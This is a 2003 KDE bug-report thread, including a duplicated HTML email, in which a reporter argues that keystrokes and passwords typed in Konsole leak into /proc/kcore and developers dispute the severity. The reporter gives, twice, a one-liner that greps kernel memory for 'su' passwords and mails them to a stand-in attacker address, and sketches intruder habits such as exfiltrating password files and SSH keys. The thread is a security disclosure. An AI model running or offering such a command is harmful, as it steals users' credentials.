Bug 68742

Thank you for your concerns.

The privacy/security concerns that you mention are unfortunately inherent to the issue of entering confidential information in a system that is under control by someone else (in this case the root user)

As such we are not able to address them.

The problem is that once you have the root privileges necessary
to read /proc/kcore you don't have to rely on something as unreliably
as reading the kernel memory. You can just replace the /usr/bin/ssh
binary with a version that writes your entered password to a hidden
logfile. 

such backdoor patches to ssh are commonly available on the web. There
are even patches to /bin/bash that will log every keystroke you make. 

Subject: Re:  Information leak of keystrokes.

Yes, I am aware of the fact that the root-user can do everything anyway, 
but please let me elaborate on the severity of this issue.

If a bad admin, like you say, would recompile the SSH daemon or put a 
trojaned version of bash in place is at least some form of bridge that 
needs to be blown up. Also, these kind of alterations to the filesystem 
will definitely trigger an intrusion detection system as files change, 
etc. and alert his fellow administrators. This reading kproc is very, 
*very* easily done.

I have compiled my own SSH daemon, I therefor assume that is a 100% 
safe, and my colleague goes off and steals all my passphrases. No need 
to install keyloggers, network-sniffers or compromise the machine in anyway.

Imagine an office environment where the users do not root-access. They 
still think they have some form of privacy while SSH-ing  to their box 
at home. The administrator is now able to easily snoop all their 
passphrases and passwords, possibly chat-logs and emails, while they 
have the impression it's 2048 bit key encrypted.

This is a very serious thing I worry about.

Or, imagine a compromised machine. A usual intruder does not trojan 
sshd, ftpd, login and telnet *immediately*. In stead he emails himself, 
among other things like SSH-keys, the password-file to slam a 
brute-forcer against it. Then he hangs around a bit, and when he has the 
impression he is undetected he installs the rootkit, and then the 
logging of passwords can begin.

But now, upon intrusion, in addition of having the hashed password-file 
of a machine, he now also has a few passwords. Passwords that were even 
entered on *other*, remote machines, which this person then can go and 
compromise.

It's really amazing what a grep -a -A2 -B2 "su -" /proc/kcore | mmencode 
| mail "evil@address" can do for him.

Also, the privacy of a user cannot be ignored; some programs internally 
encrypt command-line or stdin passed passwords and overwrite the argv[] 
string if necessary to guarantee privacy. Now the password is right 
there in kproc. (This, incidentally, was what I was working on when I 
discovered this information leak in Konsole, so I know I am not the only 
one who sees security and privacy issues with this when running KDE in 
an office environment.)

In conclusion: even the root user should not and *may* not have this 
easy access to a complete log of a user's typed-in commands, passwords 
and passphrases; not from accounts on the local machines and definitely 
not those entered on remote machines.

This is a serious issue that needs to be addressed, and I hope you see 
this now too.


Best regards,
Hugo van Galen


Dirk Mueller wrote:

>------- You are receiving this mail because: -------
>You reported the bug, or are watching the reporter.
>     
>http://bugs.kde.org/show_bug.cgi?id=68742     
>
>
>
>
>------- Additional Comments From mueller@kde.org  2003-11-21 18:38 -------
>The problem is that once you have the root privileges necessary
>to read /proc/kcore you don't have to rely on something as unreliably
>as reading the kernel memory. You can just replace the /usr/bin/ssh
>binary with a version that writes your entered password to a hidden
>logfile. 
>
>such backdoor patches to ssh are commonly available on the web. There
>are even patches to /bin/bash that will log every keystroke you make.
>  
>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
  <title></title>
</head>
<body text="#000000" bgcolor="#ffffff">
<font face="Helvetica, Arial, sans-serif">Yes, I am aware of the fact
that the root-user can do everything anyway, but please let me
elaborate on the severity of this issue.<br>
<br>
If a bad admin, like you say, would recompile the SSH daemon or put a
trojaned version of bash in place is at least some form of bridge that
needs to be blown up. Also, these kind of alterations to the filesystem
will definitely trigger an intrusion detection system as files change,
etc. and alert his fellow administrators. This reading kproc is very,
*very* easily done.<br>
</font><font face="Helvetica, Arial, sans-serif"><br>
I have compiled my own SSH
daemon, I therefor assume that is a 100% safe, and my colleague goes
off
and steals all my passphrases. No need to install keyloggers,
network-sniffers or compromise the machine in anyway.<br>
</font><br>
<font face="Helvetica, Arial, sans-serif">Imagine an office environment
where the users do not root-access. They still think they have some
form of privacy while SSH-ing&nbsp; to their box at home. The administrator
is now able to easily snoop all their passphrases and passwords,
possibly chat-logs and emails, while they have the impression it's 2048
bit key encrypted.<br>
<br>
This is a very serious thing I worry about.<br>
<br>
Or, imagine a compromised machine. A usual intruder does not trojan
sshd, ftpd, login and telnet *immediately*. In stead he emails himself,
among other things like SSH-keys, the password-file to slam a
brute-forcer against it. Then he hangs around a bit, and when he has
the impression he is undetected he installs the rootkit, and then the
logging of passwords can begin.<br>
<br>
</font><font face="Helvetica, Arial, sans-serif">But now, upon
intrusion, in addition of having the hashed password-file of a machine,
he now also has a few passwords. Passwords that were even entered on
*other*, remote machines, which this person then can go and compromise.
<br>
<br>
</font><font face="Helvetica, Arial, sans-serif">It's really amazing
what a <font face="Courier New, Courier, monospace">grep -a -A2 -B2
"su -" /proc/kcore | mmencode | mail "evil@address"</font> can do for
him. </font><font face="Helvetica, Arial, sans-serif"><br>
<br>
Also, the privacy of a user cannot be ignored; </font><font
 face="Helvetica, Arial, sans-serif">some programs internally encrypt
command-line or stdin passed passwords and overwrite the argv[] string
if necessary to guarantee privacy. Now the password is right there in
kproc. (This, incidentally, was what I was working on when I discovered
this information leak in Konsole, so </font><font
 face="Helvetica, Arial, sans-serif">I know I am not the only one who
sees security and privacy issues with this when running KDE in an
office environment.)<br>
<br>
In conclusion: even the root user should not and *may* not have this
easy access to a complete log of a user's typed-in commands, passwords
and passphrases; not from accounts on the local machines and definitely
not those entered on remote machines.<br>
<br>
T</font><font face="Helvetica, Arial, sans-serif">his is a serious
issue that needs to be addressed, and I hope you see this now too.<br>
<br>
<br>
</font><font face="Helvetica, Arial, sans-serif">Best regards,<br>
Hugo van Galen<br>
<br>
</font><br>
Dirk Mueller wrote:<br>
<blockquote type="cite"
 cite="mid20031121173820.13865.qmail@ktown.kde.org">
  <pre wrap="">------- You are receiving this mail because: -------
You reported the bug, or are watching the reporter.
     
<a class="moz-txt-link-freetext" href="http://bugs.kde.org/show_bug.cgi?id=68742">http://bugs.kde.org/show_bug.cgi?id=68742</a>     




------- Additional Comments From <a class="moz-txt-link-abbreviated" href="mailto:mueller@kde.org">mueller@kde.org</a>  2003-11-21 18:38 -------
The problem is that once you have the root privileges necessary
to read /proc/kcore you don't have to rely on something as unreliably
as reading the kernel memory. You can just replace the /usr/bin/ssh
binary with a version that writes your entered password to a hidden
logfile. 

such backdoor patches to ssh are commonly available on the web. There
are even patches to /bin/bash that will log every keystroke you make.
  </pre>
</blockquote>
<br>
</body>
</html>

I kinda agree with the poster here. Even if we can't make thinks perfectly safe (we cannot), that doesn't mean we have to facilitate the life of an attacker.

Encrypting memory is a no-go. But why does Konsole log keystrokes?

What makes you think that the memory where these keystrokes appear are part of Konsole and not an internal kernel buffer, for example the one associated with stdin of the ssh process.

Subject: Re:  Information leak of keystrokes.

I am sure of that because,

- This behavior does not happen on my normal console, without X being 
run. No matter if I telnet or SSH, my keystrokes are not there.
- I've eliminated X windows as a cause, because I have not seen the 
keystrokes I do in my IRC client or mail client & browser.

In the meanwhile friends of mine and I have performed some tests on 
other machines, and I have also noted that this same behavior seems to 
happen in xterm and gnome-terminal, so I was thinking maybe this bug 
lies in the way the stdin and stdout are piped from the `real' shell 
process that runs to the graphical one. But that is still no reason to 
step back from this issue.

I totally see the logic that my commands are there because of my history 
buffer or because it has to be drawn on the screen, but I mean, I'm even 
seeing the typo's in am making.

Even if it is in the fact it is an internal kernel buffer, or because of 
memory not being cleared after you are done with it, the flaw lies in 
the way it is used. It seems to me there can be a workaround implemented 
for this.

I am a paranoid computer user, and in regards to security and privacy I 
am not at all impressed with this behavior, and this issue seriously 
refrains me from using these programs. I was very happy with all of 
Konsole's features, until this.

Users privacy must be protected. No matter how you look at it, root has 
no business with their keystrokes.

And wouldn't it be cool that you can say in the ChangeLog that you've 
solved a major privacy issue, fixing an information leak that the other 
terminal emulation programs still suffer from, which can have serious 
security implications? :)

PS: Sorry for the HTML embedded message earlier.

Waldo Bastian wrote:

>------- You are receiving this mail because: -------
>You reported the bug, or are watching the reporter.
>     
>http://bugs.kde.org/show_bug.cgi?id=68742     
>
>
>
>
>------- Additional Comments From bastian@kde.org  2003-11-22 12:37 -------
>What makes you think that the memory where these keystrokes appear are part of Konsole and not an internal kernel buffer, for example the one associated with stdin of the ssh process.
>  
>